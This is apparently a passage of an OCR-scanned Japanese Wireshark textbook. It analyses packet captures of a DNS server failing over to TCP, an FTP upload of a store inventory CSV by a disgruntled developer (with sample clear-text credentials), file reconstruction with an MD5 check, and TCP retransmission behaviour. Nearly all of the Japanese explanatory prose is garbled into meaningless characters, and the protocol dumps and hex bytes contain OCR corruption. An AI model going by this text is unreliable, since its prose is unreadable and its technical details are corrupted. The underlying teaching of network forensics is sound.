Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a)
Internet Protocol, Src: 172.16.16.101 (172.16.16.101), Dst: 172.16.16.251 (172.16.16.251) a
User Datagram Protocol, Src Port: 56779 (56779), Dst Port: 53 (53)
Domain Name System (gquery)
Il Response In: 2
Transaction ID: 0x0003
Flags: 0x0100 (standard query) il
Questions: 1
Answer RRs: 0
Authority RRs: 0O
Additional RRs: 0
= Queries
= appserver: type A, class IN
Name: appserver @
Type: A (Host address) @
Class: IN (0Ox0001)

DEEEH®

0010 00 37 51 55 00 00 80 11 6f e0 ac 10 10 65 ac 10  .7QU.... -
0020 10 fb dd cb 00 35 00 23 0 02 00 03 01 00 00 01  ..... 5.#

0030 00 00 00 00 00 00 [ENEA 7 72 76 7 T

LWGYTI00 00 01 00 01 |

L

X8-34 appserverMAL I—KIZXHTADNSY I TIA% 5815

. 20.000346 172.16.16.251 172.16.16.101 DNS Standard query response, Server failure @

Frame 2: 69 bytes on wire (552 bits), 69 bytes captured (552 bits)
Ethernet II, src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a)
Internet Protocol, Src: 172.16.16.251 (172.16.16.251), Dst: 172.16.16.101 (172.16.16.101)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 56779 (56779)
pomain Name System (response)
Request In: 1
[Time: 0.000346000 seconds]
Transaction ID: 0x0003
Flags: Ox8182 (Standard query response, Server failure) 1
Questions: 1
Answer RRs: 0 9
Authority RRs: 0O
Additional RRs: 0
E Queries
E appserver: type A, class IN
Name: appserver
Type: A (Host address)
Class: IN (0Ox0001)

DIEEE®B

0010 00 37 01 8b 00 00 80 11 bf aa ac 10 10 fb ac 10
10 65 00 35 dd cb 00 23 5f 80 00 03 00 01
0030 00 00 00 00 00 00 09 61 70 70 73 65 72 76 65 72
0040 00 00 01 00 01

=
[=]
=}
N
(=]

L J

X8-35 JIVDLARLZP EMORMEERLTNDS

FHHEDODNSH —NDEDMT T4 v 7% BMUNIF XY TF ¥ 55720, X7y by 7Fr v —)it
BELFECT, R—PIT—)VIORBELEFE LTI IATVMDIT T 497 Tld7{ DNSH—
INDNT T4 7 %3IT=N U TTHLIILET. TOF ¥ TFx 774 VAistranded_branchdns.
pcap T3,

K8-36 DLHIZ. TOF X T F XX EIFER/7 TV ELV ARV A, FLTHHDEDD/ 7 v b
TIHFE->TET, 27y MIb x> LW RIEK LU TT, DNSOFEHETH 5 53 F K — F@TALD
74 <1) DNSH—,3 (172.16.16.250) @ & D#E % KA TV E T, UDPTIELWAHTTO,

oy YOHMEMAIZIE, TEODNSOBH 2 B wili LTS v, DNSI3#@H UDP % i
WETH, FZUNDLV AR AP —EH A A2 B2 556, TCPEivEd, SEOBE, KO
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. 30.000120 172.16.16.251 172.16.16.250 TCP 49160 > 53 [SYN] Seq=2009653443 Win=8192 Len=0 MS5=1460 WS=8 EI&E

Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
Ethernet II, Src: 00:0c:29:39:42:70 (00:0c:29:39:42:70), Dst: 00:0c:29:3d:10:f5 (00:0c:29:3d:10:f5)
Internet Protocol, Src: 172.16.16.251 (172.16.16.251), Dst: 172.16.16.250 (172.16.16.250)

source port: 49160 (49160)
i el o ot 333 i R R G S N e
[stream index: 1]
Sequence number: 2009653443
Header length: 32 bytes
Checksum: 0xbc30 [validation disabled]
options: (12 bytes)

0010 00 34 03 a6 40 00 80 06 7d 08 ac 10 10 fb ac 10  .4..@... F....... -
0020 10 fa cO 08 77 ¢8 €0 c3 00 00 00 00 80 02  ....HEW- --vvnn-.

0030 20 00 bc 30 00 00 02 04 05 b4 01 03 03 08 01 01  ..0veen wunevnns H
0040 04 02 ..

X8-36 ZMDSYN/Vry MIE3FEKR— hE{E->TVBHUDP TIEAW

UDP S 74 v 2 HTCP LS 74 v 2 23| ZBRILTWAE L) TY, TCPIZF 2V — Vink, 20
VY —ZAL 32— FPDNSH =N TIESNLBEIZSEONE T, SROFr—A I k)T
T

F 423 B DNSH —NEALDODNS Y — DAL =7 THY), V)V —AL 2= FIZOWTIEAK
F—NIEIF L TR B IR ET, DR ANRT 7 ALLI ELTWB T T Y r— a3 v —
INEARNZH Y. KD DNSH =B ZOH —NEFHLTWE T, =BT T r—a
F—NNDODNS Y 7 T A M fFHRT 5121, Z2OH—/"ODNS )V — AL 3 — K%, RKHEDNSH—
NS FFEDNS Y — NN HE SN R NERDFEA FXYTF ¥ 7 74 IVIZSYN ST v A A -
TWVWEDIFZD/DEEEZONTE T,

SYN /Sy MIIBEN VDX, TODNS T 7UAs, k& K4 DNSH— N To V' — Vi
REEIZH DL TT, IHIC—HREAT, V— Uik LM L2 H2 o ThaEL L), LA
BAMTHMON =5, AEDODNSH —NZDEDTHBEVH) L IAHFTTHRIAD T T At
DNSH =D F 749 7% F v 7F v LT SYN ST v EADNSH = NANELNTWENE ) %
RTAaET,

ADNSH—=NETF T4 7 DF X TF 2T 7ANEHVFEEA VT T4 I DBHFIELEVH ST
o SYN/XT v NI = SNV TW AR5 72DT L7z, HifliE % ko TAM E 2oV —%
DBRERMHRALTDHS 72T H, KN —FDE53FR—PTIEA YNNI Y FOUDP T 749 7D
AW EN, TCP T 74 v 73R T AL ) BRESNTW2ZEMHLFE L7z, &9 LM
BEEIAD, =B OV = Vigkae lE L, D7 547 2 M oA OIS T 227 )
DI HE L TWzDTY,

8.3.5.3 PAIECL

UIREIERLIUE, 2y PT—Z@E T TVOHEBEIIOWTH LY FRTE T, LRI E
e, MAEEETHREOIMICETLET. TS TEIPDEBE T, SOITHAT D &) 1EEDS,
LADROD B ETHT HNDLDTT .

S




——

83 RETORSIL | 175

GO F) A TR, BEH (7747 2 F) OMELISMD, DNSHEEDO N TVE S5 8
TIRIANDFERDY) 215 FE Lize ZOFEREDYD5, TAO DNSH =N, RKEEDOF— 3, RfIIZIE
FSTNVDERTHLN—F ET2ENHENTDTY,

2Ny MENIERATI G, X7y MEFEDXMPNRZEEZLEHIICLELE Yo FAPDIIENIEEZIL
L7222 B A TN S LIZRY) AN, JEIIIZBA T TENTNET,

8.3.6 1S55I HMHAESE

ITERTIE, BB L VAT LAFHEN LE-obw ) @ LTwET, BREHIZVDH, 7ur 5
LAOARREE, 2y NI =7 OFHRERE ERBOBRBALZOLVWZE LN EFT>TET, —h Y
AT LAEMHIE, AV M=/ 2T - LEBEOREITT— FICHEIH S LIFHEL TV ET,

DT F ) FiE, BIBEED, EROEH O LIFEBH L ThRT— 5 R= AN 52 KT
TIN = a v e LLLIATY,, MEOHERET XL ST 500, I 78
AL TT)r—varyTirdVIETA. WEF— 7T PER SN, ZHICCSV 774V ELTH
PF— I R=2EERENT T,

LAV ZOFHHME L7277 ) r—2a vy PIELLERLERA JEHirsEONLT7 74 VI
=P ZRLTVETE, F—IR—RACEFERAINLTF—ZICHEPH LD TT . HHIHKIT %
H, F=FDOMEICHEVDE DY), BEIETTWETF—=73HVET, 7ar7 < hy hT =212
DG HHEFIDOT, VAFLEHMEIRHALTVE T, Furi<id. 774 VA SES Sk
F= F NR= AL ENLBERTHIELTWRRTREEEIDOTT, HOMENEIEHT L0, &
[moHEETY,

8.3.6.1 r—JIL~ADEBA

VBT — 5 2 WET 572012, JEEOO LD, F/23ARTry baFd Yy 7F Y LET, TOR
FINVEFTRTOEHTHRELTVWEDOT, Ay bT—=ZIZHERH D & L7z26, TXTOIEHIIME
—JLETAETTH L, AL THRAELTWDIETTY,

Ay T =T ZA v FIFR=PFI T Y TITHIB L TWAEDT, =P HEH L TnAR—1% 3
F—=Ls }7 749 0%FxTFv LET, F¥TFXLILT T4 071 = INCSVT 74 V%
Ty 7 —FLTWBESTEI5E LTS, DXy 7F % 774 Vhitickedoffdeveloper.pcap T
T

8.3.6.2 I\&v MERIR

TUTIIPHE LT T =Y a  ionTid, oA H Y A, FYTFY T A
WIEFTP IS 749 7 Clig o T0h L) HDT, SNDPEBICT 7 ANVEREEL TS AN =L
BONEIPERELET T, BEEZFTEDOTALIG, BETO—7F IHHEHNTT, A=2—Hh5
[Statistics] — [Flow Graph] ##RL. [OK] K& %2y 2 LFIL &9, R8I7THENI 57T
B

S
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p
[ tickedoffdeveloper.pcap - Graph Analysi

(=[5 )

Time

0.000
Il | |0.000
0.000
0.003
0.003
0.003
0.004
il | |0005
0.005
0.005
I | |0.006
0.006
0.006
0.007
0.007
0.007
0.007
0.008
0.008
0.009
0.010
0011
0.012
0012
1.508
1.509
1.509
1510
1511
1511
1511
1512
1513

1721616128

1721616121
© 5.5 [SYN] Sgq
@ssg)i i
2], > 2555 [SYN, ACK
=) e
4555 > 21 [ACH
855 i
Response: 220 FileZ
2555 21
hmuﬁt USER salgs
2555 121)
nse: 331 P
Py 21
Request: PASS p@sgsw
2558)i 21

Response: 230 Logge
2555) 21

1 Request: site helg,
2555 121
Régponse: 504 Comma
2558 21
_Request: PWD
2555 o]
R 257 " it
(2555) i

2555 121)

' Response: 200 OK!
21

Request: CWD /bagku
@555 121)
nse: 250 CWD
=) oy
+ Request: TYPE A,
== i21)
onse: 200 T
=) =21}
_Request: PASV _,
frias 121
onse: 227 Entes
1 Ia"IJ
. Request: LIST _,
friah 121

2555)

Comment

TCP: 2555 > 21 [SYN] Seq=3690528513 Win=2152 Len=0 MS5=1460 WS=2
TCP: 21 > 2555 [SYN, ACK] Seq=2845945032 Ack=3690528914 Win=8192 Len=0 MSS=1460 Ws=2 ()
TCP: 2555 > 21 [ACK] Seq

4 Ack=. I 4380 Len=0
FTP: Response: 220 FileZilla Server version 0534 beta
FTP: Request USER zalemder

FTP: Response: 331 Pazsword required for salemder
FTP: Request PASS p@sswird

FTP: Response: 230 Logged on

FTP: Request opts utf8 on

FTP: Response: 200 UTFE mode enabled

FTP: Request syst

FTP: Response: 215 UNIX emulated by FileZilla

FTP: Request site help

FTP: 504 G not i for that

FTP: Request PWD
FTP: Response: 257 °/" is cumrent directory.

FTP: Request TYPE A

FTP: Response: 200 Type setto A

FTP: Request PASV

FTP: Response: 227 Entering Passive Mode (172.161612119211)

FTP: Request LIST

FTP: Response: 150 Connection accepted

FTP: Response: 226 Transfer OK

TCP: 2555 > 21 [ACK] Seq=36%0529001 Ack=2845545372 Win=4295 Len=0
FTP: Request noop

FTP: Response: 200 OK

FTP: Request CWD /backup/

FTP: Response: 250 CWD successful “/backup” is cument directory.

FTP: Request TYPE A

FTP: Response: 200 Type setto A

FTP: Request PASV

FTP: Response: 227 Entering Passive Mode (1721616121 19212)

FTP: Request LIST

] »

\

X8-37 7A—JZT7TFTPEEN/VEDTHH,S

Co7u—rI5 7% /AL, 172.16.16.128 £ 172.16.16.121 L DM TFTP I 4 7 ¥ a v SR E SN
TWVWIET@, 172.16.16.128 23 Z BIE L TWAHDTO, TNAZ 547 » T, 172.16.16.121 1%
F=F 2 NUE LTS 52— NZEHNTEET, 70—7F 796, 2OMFT 749 Z7IZFTPY

TFINDARERSTNWDEZEDNTERTEET,

2 TCTHLEDT = FiEEIITON TV LIET DT, FTPOM

W flio T, Ik T o T
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By v OYiE RO E S, FIP24A 2 v a v e F—yERIE7 74 7 VIS ST AD T,
FTPYH—~\OF—F 7y 7u— NI &SNS, FTPSTORIT Y FEEELEL L ). FD720DITIF
TANE BRSBTS HON—FMHTT,

COXFXYTFXTTANVORIZIEIFTPY 72 A a<x ¥ R A L Tw 5 @ T, [Filter
Expression] ¥4 707 CHEDDOTUNINR T T a vy O—ENSL 74V F % RIRL TWLDTIE
%<, [Packet List] XAf Y CHEETANVFEMELEIL 29, TNEIFE T, FIPY 72X bax
DBy M BIRT 2LERHYET, —~EO LFHIEVDT, 5FHO/ v b B F L &k
9o KIZ [Packet Details] ~4 >~ C [FTP] # B L. [USER] %# &R L 3. [Request Command:
USER] 74—V K#%4i2 1) v %7 L. [Prepare a Filter] Z 3R L. # %2 [Selected] Z® U7,

ZNTFTPUSERY) 7 T A AV Y Fa&L/ry MERTEZMB S5 7 14 v 5728 [Filter] ¥4 71
FICHERENE L7z, Z D%, K8-38D L HIZUSERZ STORICE X 5X9, 74V &Mt L E

gL B

Filter: |ftp.requutcommand == "STOR" o | ~ Expression.. Clear Apply

No. Time Source Destination Protocol  Info
Request: STOR stored829-03222010.csv

[8-38 DT IV2ET —2EnEN IAE B G & HAITBDICIKILD

Enter ¥ — %M LTI A4 VY 2GR THE, STORIT VR, 64FHDr v 1O LAEIEL
TWARWIZEXRDIDETO,

F—Z kO E DS b Ao 72D T, [Packet List] XA ¥ E#® [Clear] K% %27 v 7 L
TTIANY ZEELE T,

XX TF YT 7 ANECATFHONN Ty P LMRTADLE, 2D v M store4829-03222010.
csv 7 7 A VOREREIRR L TWE I b2 3 (F8-39).

[ 64 4.369659 172.16.16.128 172.16.16.121 FTP Request: STOR store4829-03222010.csv bl S

Frame 64: 83 bytes on wire (664 bits), 83 bytes captured (664 bits)
Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:0c:29:ea:17:be (00:0c:29:ea:17:be)
@ Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 172.16.16.121 (172.16.16.121)
Transmission control Protocol, Src Port: 2555 (2555), Dst Port: 21 (21), Seq: 3690529135, Ack: 2845945907, Len: 29
= File Transfer Protocol (FTP)
[ STOR store4829-03222010.csv\r\n
Request command: STOR

0020 10 79 09 fb 00 15 db 9 01 6f a9 al b0 33 50 18 .y...... .0...3P. B
0030 10 41 fe 31 00 00 53 54 4f 52 20 [ENFEGMFFEE .A.1..ST OR GTOE i
[0 Q=2 38 32 30 2d 30 33 3232 32 30 31 30 2e 63 73JA829-032 22010.cs H

0050 [ 0d Oa ¥

&

X8-39 FTP%{#E-> T&ixEh3BCSVI7 1)L

STOR I~ ¥ FIZHe{ 78 v MIR L LR — b2 flio TWwE 325 FTP-DATARE % E LTkl ST
WET, T PMEIN TSI LIIMRATEI LD, Uy I IV FORGEVIZEIEHTE TV

T EERE  PASVE— F TRV EHDOJFTP M7 7 4 v 7 OYf, 7— Y igkidF— o BashEd,

S
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178 | 88 BEHROIFUFOE—%

FRA FVTFY LTy MPLERENET 74 VONEZMB LT, fvy 7 —7 Eelmgs
NeHLDBT7ANVONEVEDTETHELILERRTLENHNE T,

T 7 AN S IN TR WIERTHE SNL AL 7 A Y MIGHEI ST, Si5E THAM
ToHhFET, SMOTF ) A TR, WRICIFFELZD OO, FLRHMALTLN TRV v M
FyTFXLTVET, F— 23T RTHi-TWEDT, 774 VEF—F AN —2 L LTHIL,
LA THEFTT o AV THIZIE FTP-DATAZ M) — A2H 587 v b (66TFH D 8 v M &)
%® 0, [Follow TCP Stream] 22V v 7 LE ¥, T5LE8-40D L HIITCPA MY — ANFIRE

¥,
p
E Follow TCP Stream [ESEER
-Stream Content
storelD,SKF,QTY s
4829, 808966, 5 =

4829,893932,7
4829,638384,2
4829,260513,4
4829,697840, 2
4829,706390,1
4829,438522,9
4829,305646,6
4829,626872,6
4829,462192,2
4829,235990,1
4829,354072,7
4829,314705,1
4829,137917,6
4829,752470,9
4829,680528,0
4829,108508, 3
4829,462327,7
4829,220298, 5
4829,168441,4
4829,410705,7
4829,162926,5
4829,571311,1
4829,332165,8
4829,311649,9
4829,911907,9
4829,211492,1
4829,890078, 3
4829,415774,3
4829,751736,2
4829,868588,6
4829,303658,5 -

Entire conversation (19832 bytes) []© Ascn © escpic © Hex Dump © CArmays @ Raw
’ Filter Qut This Stream ] ’ Close

L 4

[8-40 EXEINTWBT—EHPTCPAM—LICKRREND

T —ZIFTP L2 X DORETHRE SN TVALDOERRENTHWETH, AMN) =405k, 20
T 7 ANDPHEEIN TR EIPEHAMTEEFEA AL THET— 71304 DN THRATE
LDT, [Save As] K7 %27V v s L, K84 DEIZ6AFHD v MIERENDL T 74 VA
FIRELFET, [Save] ¥ %271 v 7 LTLEE N,
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[ Wireshark: Save Follow Stream As [
Name: | store4829-03222010.c5 |
Save in folder: |a, Local Disk (C:) Iz‘

Browsze for other folders

= ” i ]

LS

[8-41 ARNJ—LETLZDT7AIVETRETS

BT 5L, EHI Y AT ADOERE LT 7 AV ENL PRV TE S F ENEDCSV 7 7 4
VB TEBIIT T, TADT7ANVDOMDS Ny Y2 i L7 74 VOMD5 /Ny ¥ 2 % Hilg§
2L TINEMGEETE, KI8-42D X 912, MD5/ vy ¥ aSW U2 5139 T,

TrANERBET UL 77— a YNTRE TV T =R ZAEDOKF NI Ay 8T — 2
THWILAGREHTEE T, IS AT A0 ROEF — A INLHE L7 7 4 Vid, =12
FHE LN TEIREIN T RO T, 774 VOIRIET 7 r—va v 774 v L L <
(RPN I SRRV Al s ) I S

5] store4829-03222010.csv Properties —

| General | File Hashes |5ecurity I Details I Previous Vafsians|

MName Hash Value

CRC32 FD38F576

MD5 ECDAAD7OSACED7BOCGEBCE44200D5733

SHA- 65769D35E20F374946 1C4A6FDEAIAC3TID6ERE6T
Options

Hash Comparison:

ECDAAD7OSACED7BOCEEBCE44200D5795

A

HashTab +3.0.0: ©2009 Cody Batt - hitp://beeblebrax org

[0k [Caned ] [ 2ooy |

L&

X8-42 FTADT7AIEHMB LT 7 1ILDOMDS/Ny ¥ 2 hEl—

| S |
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8.3.6.3 RAIECTE

Ny FUNIVOINT B HEE S LWOIE, ThxIThbe L7 7Y r—2a sl LTl A
T VEVDMLRT T —2avid, BREDDIVEENIZE VLD TTA, 787y LAV TIX
MR ERA, 7T IR T IV =2 a VDMRELTOWAAT BRI Y R— % 2 MIow
TRITHATOUETA, HET DT — e fio 27— 5 inkd . #iRIZFTPR TCP, »5\»
FIPUEDOLDOTIEHY FHA, TROEDIERTT N VOHRZ AU, BB IE LM
HMEANTWLILEMHAL, 774 NVEMHBL TR Y N7 — 27 OBREWEAFFHT L2 L S ZMHETT,
MIREASEIUT EMEC A A 2L LT, LAy MCTERWERZTHEEEL L),

8.4 F&H

ARETIE, 237y MBI Lo THEO S 2 BE QBB ELS %5 X9 BIERN Y F )+ & n
KopBle LTHETE L7z, — W70 baVTERN RN 221X 2 MT—27 D 7TV %
BEFL, A THRTELBDTT, FoKMLYFYHTERLAZVTL LI A, 22 TH
LTI T 7 = 703 A ZFET 2 T T VORI & o L2133 T,
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9F
Y NI—ODBELES

Py NI = EHEZ OALY I T =7 ORBEERDRL TRV EEA. LALEDS, F v b
T— PR S E VST, TRDEAY T — 27 OO AL DT TIELZVDTT, v b7 —
7 OBIEEREBIT A, FTIEARYBICAY NT =B BCONE ) DEMHERETLILENIHDET,
COBETRZOFEELMNMLET,

FFIITCPOLS — 1) A3 70 —HlHERICOVTHH LT, RICHhy T — 7 BEDER
ZBMTAHHEZIEVET MEICAY NI =2 L, 2y T =2 ETEIfET 2B — U ADON—
ATGAVERERRTWEE T, COTEPEDLEIZIZ, v My —ZBILZ KM, ZHL. b7V
Va—=T4 YT TEDLNBFIIOCTNLITTTT,

W N
AN 2y ND—BEDBRICHBTEDT Iy 7V DB ET. CDETIFHD

o } EBRS TEDBNTCPICHERDF Ule. TOPEEAE. (ICMP EEHID) R57E b

W ST wOBERT R EBL BRI TORINEITS CENTEET,

9.1 TCPOIS—YUAHINUHEE

TCPOI T — AN HEhEI, v MY — 27 LOERBIERTT % i, S, BET27200KED
V=VTY, AvEa—F 4y T —F U ZHFETIR, BE (L4172 Y) L7y MPRE SR T
MPOZEEINL T TORMOZ &ETY,

FRIE X — 7T GEETEA S5 FE T) Th A (BREIL» LML TITMA, sik»SERFTE
T) THEMIN SN F 3, BERGE COMBHEEL B, /X7 v b2H 2 M2 SR O M ~RL F
TORBPFEIT L, EBEE V) &%) F T O v FaE < E TS Y 2 FE R A3 5%
LGE. BBELALINE T, MEBEITZAY N — 7 EHRZORKOM T,

6T TId, TCPAY =4 Y AL ACKEFE 529 2 LT N7y FETEFEICHERT 5 RSOV TH
PLE Lo KBTI, HEY—7 VAL ACKHFZICHHE L. MBEICIDZERIY — 7 A%
BN HE (HEVIE T 7K ZB Laho728E) TCPE ) T A 02 A TnEFEd,

S
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9.1.1 TCPH== tcp_retransmissions.pcap
2Ny ROFRIE, TCPO b - & AN RLTT = AN ROV L DOTT, ZORKFEIZ 7 >
MEEREPCOEHBE LTWET,

2Ny MERIZIE, TS —Ya v ORE V=S DT T 4y 7R, —RR LY —E AREE L
Vo, SESERERDAEZOSNT T 27 v LAV TR AEEZ L L, 284 v Mk
—I 7% b DTH LA L VW0, TCPE LTIREIcChaz ML, MEE2Y AN THI LR
HEERDET,

Ny NEEDRLENE ) e b E L BREAY—LIFEhTwET, ¥4 ~v—1F
RTO (BEAA LTI LIFIEND IS THIEL E9. TCPRfio Ty Mg Esnd &
FEIAT—=DAY—b L, TONXT v FOACKBEZEENLEA Ny T LET, 237 v ML E &
NTOOACK T v M ZEENL ETORMZRTT (YNNI yTE2AL) LIFET, 20O
B O39S, A 7 RTOMOEBICH VSN E T,

RTOMA Y E % F T, EEBIXT 74V MORTTHEICEDNTIIbE T, ZOREITHEERO
WA DMEDTDIZREZINIZODT, ZELZS7 v FORTT%# b L1, ERORTOEH S h
9,

RTOMED T B &, EETHK/ 7 v M LT, TRk A =33 v bOMELSRE Lz s
I &I B 720V SN E T, B9-11&TCPDOFE XML E KL L72d D TY,

| F—2

| BE%1EIE (RTO)

| B2 H (RTOX2)

% | FE3EE RTOX4)

EIETOMESR | HEX4EH (RTOX8)

SRR DR

| Ei%5EH (RTOX16)

L R IR I

| LRARYRBEL=0%5Y 34T

H9-1 TCPEZFAENHZE

28y PERE L72BHIC, ZEEDTCP ACK/Nr v MG Lawve, BETIEREB LNy b
PHRLIZEHW LTy b2 FRE L 9. HEMMTHONZBORTOEIZFEIC%Y 5. RTOME
T AHNCACK S MBS R a, 287y MIFRRENE T, £ TH ACKA a2

S
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W&y RTOMEIZE LI5S0 9. ACK/YT v M 2535 F T FAIIRMICEEE Lz Pk
DOBRKEIETZFE T, CORIIHYBESNFE T, RTOHEIZFHETZ-NHEH L TWEET,
BB ORKMEITOSOFEIZL) FF, Windows D&, 77 4 v bO e Bk R Eid 5 ¢
T KFDLinux D13 150 TY,
TCPH¥EDY ¥ FN%E W D728, 774 Vtcp_retransmissions.pcapZBlE T L k9o ZhNIZIE6
Dy b ERTHE Yo RO-2ITmH D/ v MR LE T,

r M
. 10.000000 10.3.30.1 10.3.71.7 TCP 1048 > 1043 [PSH, ACK] Seq=5405497 Ack=7118811 Win=8760 Len=648 E@u

Frame 1: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits)
Ethernet II, Src: 00:20:78:el:5a:80 (00:20:78:e1:5a:80), Dst: 00:00:65:10:22:1b (00:00:65:10:22:1b)
Internet Protocol, Src: 10.3.30.1 (10.3.30.1), Dst: 10.3.71.7 (10.3.71.7) €]
= Transmission Control Protocol, Src Port: 1048 (1048), Dst Port: 1043 (1043), seq: 5405497, Ack: 7118811,
Source port: 1048 (1048)
Destination port: 1043 (1043)
il [stream index: 0]
Sequence number: 5405497
H [Next sequence number: 5406145]
Acknowledgement number: 7118811
Header length: 20 bytes
Flags: 0x18 (PSH, ACK)
window size: 8760

Checksum: 0x9b5f [validation disabled]
B [sEqQ/AcK analysis]
[Number of bytes in flight: 648]
= Data (648 bytes)
Data: 703ECE4B27B1DB9282DEA4181D0OD86F0735041B579CD2EDD. . .
[Length: 648]

7b 39 00 6c 9f db

b 27 bl db 92 82
79 cd 2e dd

0050 13 57 db 1d Ef db 1b 66 8e bl 72 10 b0 a6 66 3d

0060 17 b6 54 92 d7 2b 66 4c 8f 9d e8 6b 24 7f 8b 2b
NATA__ <A FA s Fo &k Oh An dr k-~ 15 &0 52 0. 70 30 &

i

X9-2 F—42%&EALEMAETCP/N Y b

ZNIE 64851 b DT — ¥ @ % &L TCP PSH/ACK X7 v F@ T\ 10.3.30.17%5 10.3.71.7 % 5
?(Lf:%)O)“C“TQO WY 7 75— 5% v M TT,

HEORITHIZE, RYD/N7 v FBREFESNS LT TCPACK Y7 v baSL AR R E L
TELNTLAIETTT, LALIITIE ROXT v MBI ENTFy behoTwET, T
[Packet List] XA &% EbH» D FE T, [Info] # T AI2iFid-> &Y & [TCP Retransmission] & &
D, 237y MIBEFPITHRW T FAMTEREINTVWE T, B9-31d [Packet List] =4 Y IZBIF 5,87 v
FEEOBITE,

No. Time Source Destination Protocol  Info
1 0.000000 10.3.30.1 EERTAR TCP 1048 > 1043 [PSH, ACK] 5eq=5405497 Ack=r118811 Win=8760 Len=648

X9-3 [Packet List] /R4 lH133/3 y ME&E

X9-4» X 512, [Packet Details] ~X 4 >3 X OF [Packet Bytes] XA > T, /37 v MBFRE SN
T2 EI DI FET,

S
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-
[ 20.206000 10.3.30.1 10.3.71.7 TCP [TCP Retransmission] 1048 > 1043 [PSH, ACK] Seq=5405497 Ack=7118811 Win=8760 Len=648 M

Frame 2: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits)
Ethernet II, Src: 00:20:78:el:5a:80 (00:20:78:el:5a:80), Dst: 00:00:65:10:22:1b (00:00:65:10:22:1b)
Internet Protocol, Src: 10.3.30.1 (10.3.30.1), bst: 10.3.71.7 (10.3.71.7)
= Transmission control Protocol, Src Port: 1048 (1048), Dst Port: 1043 (1043), Seq: 5405497, Ack: 7118811, Len: 648
Source port: 1048 (1048)
Destination port: 1043 (1043)
[Stream index: 0]
Sequence number: 5405497
[Next sequence number: 5406145]
Acknowledgement number: 7118811
Header Tength: 20 bytes
Flags: 0x18 (PSH, ACK)
window size: 8760
Checksum: 0x9b5f [validation disabled]
= [SEQ/ACK analysis] 2
[Number of bytes in flight: 648]
= [Tcp Analysis Flags]
[This frame is a (suspected) retransmission] e
[The RTO for this segment was: 0.206000000 seconds] o
[RTO based on delta from frame: 1]
= Data (648 bytes)
Data: 703ECE4B27B1DB9282DEA4181D0D86F0735041B579CD2EDD. . .
[Length: 648]

0000 00 00 65 10 22 1b 00 20 78 el 5a 80 08 00 45 00 O S XA 7 S A =
0010 02 b0 6a Oc 40 00 80 06 15 2e Oa 03 1le 01 Oa 03 So1J0 558 Aot ncoos =
0020 47 07 04 18 04 13 00 52 7b 39 00 6c 9f db 50 18 G...... R {9.1..P. o

0030 22 38 9b 5f 00 00 70 3e ce 4b 27 bl db 92 82 de "8._..p> .K'.....

0040 a4 18 1d 0d 86 f0 73 50 41 b5 79 cd 2e dd 96 1le ...... SP ALy..... e
NNEA 13 ©7 Ak 1d nf dh 1h &6 9n k1 73 10 kA _~& &E 34 o £~ £

[9-4 BEIhi/Xryb

2oy M (IPO [EEBIT] BL O [Checksum] 7 4 — IV REFRE) A Oy hERI LD O
TFo 22073 v h® [Packet Bytes] R4 ¥ % L3 IUL, [ —THDH I EPMIETETTO,

[Packet Details] 4 Y # /5 &, FEIN TSN v o [SEQ/ACK Analysis] 17D T2, W
KODERDDH B Z LIZHILTLE Yo THIEWireshark D32 L TV A BT, X7y b 20}
DITEEHEEFN TV E R A, SEQ/ACKIENT A5, TNAHENICH X THY O, RTOMHIZ0.2068 @,
ZLCRTOMEIZIFHD T v b b0 FNE 5 4 &5 (HHIEH) 23 LICLTW2 I e HERTE
7,

D3y B FEMRT, IPO [HF] B XL [Checksum] 7 4 — )V
FERTOMEZZT AR A2 E D ET, £/87 v POREE % H TR =1 0. 000000
¥ 5121&, [Packet List] <4 ¥ ® [Time] # 7 2% B L 3 (H9-5). S o eaoon
TRE CTRTOMHEAME 45 T8I0, KRB KIFICIEN TV S 2 E5h ‘; ;: iggggg
USRS 6 4. 805000
TCPOTFREBERE L, EREEH ATy MR ERILZBRIC, U ANy - -
£H75 I B EF. SERTEEAV Ty hOWEERI L, ) 0 IR
AN T LB 5 E#HEACK (duplicate acknowledgments) H#E
RTHaELEI,

9.1.2 EEACKLEEEBZE

HEHACKIE, ZEAVIEFEOENI S v M2 Z o728 &123%5 TCP7¥7 v T3, TCPI.
F= I NREBEINE LM UEFTZE SN, HEMALTONS L2 RHET 572012, Ay 5
WO —r v AFr & ACKEF T 74—V FEflioTnEd,

S
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TCPI\T v MEIEEICEZ X TCPEI XY MEMESOAETI L. —HK(ICF/ T
EHEFENTVRT,

W72 TCP A2 v a Y DML SNz E X2, NY Ry oA 7 BT SN2 IRH IS E 2 5
DOEONAZ %IV = ZFE (ISN) T, ISNATAZ ¥ a v O TRESNDL L, /Ty
FEREAEEND T LI, ZDONT 9 bDF—F DA R51EF Y = VAT GPEATHE TS,

HHEIDISNA5000 Ty 50084 b7y bRk fET5L LET, 2Oy M ZEshb &,
ZAEMIZ ACKFE S 5500 D TCP ACK /3% v T L E95

Y= ABE+REENIET 20N/ N EE=ACKES

RAETENBEENDLACKEFE T 1L, ZEZVPRICZTNE Y —r v AF SV IR FE T,
INEMRAL L 720D X 9-6 T,

=7V AEFS5000 ?—9@#4?500

<Z ACK#E 55500

[ >—#>z®S5500 7— é?@ﬂf(XSOOD

% <Z ACK#E 56000

_ > —4 2 AES6000 ’;70)#/(7\500
EERIOMSS = Z

REAIORKES

ACKZES6500 |

X9-6 TCPY -4/ 2XESEACKES

ZRBEY—r Y AF UL, X7y MERERIETE 3, =7 v AF5rEIL TR
B %ﬁv#ﬁmfwmxﬁxtv#&ﬁﬁ; ITXLDTY,

ENDY —r VAT TR LA Ny MR L2 INETE TS, 77— 7 Z @Il
AILTHITE, WRLENT Y Ve Z BT AUERHLOT, HELIry OV =7 v AF 5%
BLACK /Sy MRk L, RETCICHEEZRLET,

HEEHISHEHEHACKZZITMD & /37y bSARMITHI LAz LRIl L, B ICERBEE T\
T3, B ENPIBEEINS L, BHFE ST Y PR EIND T, I2OTRTONT v FO%
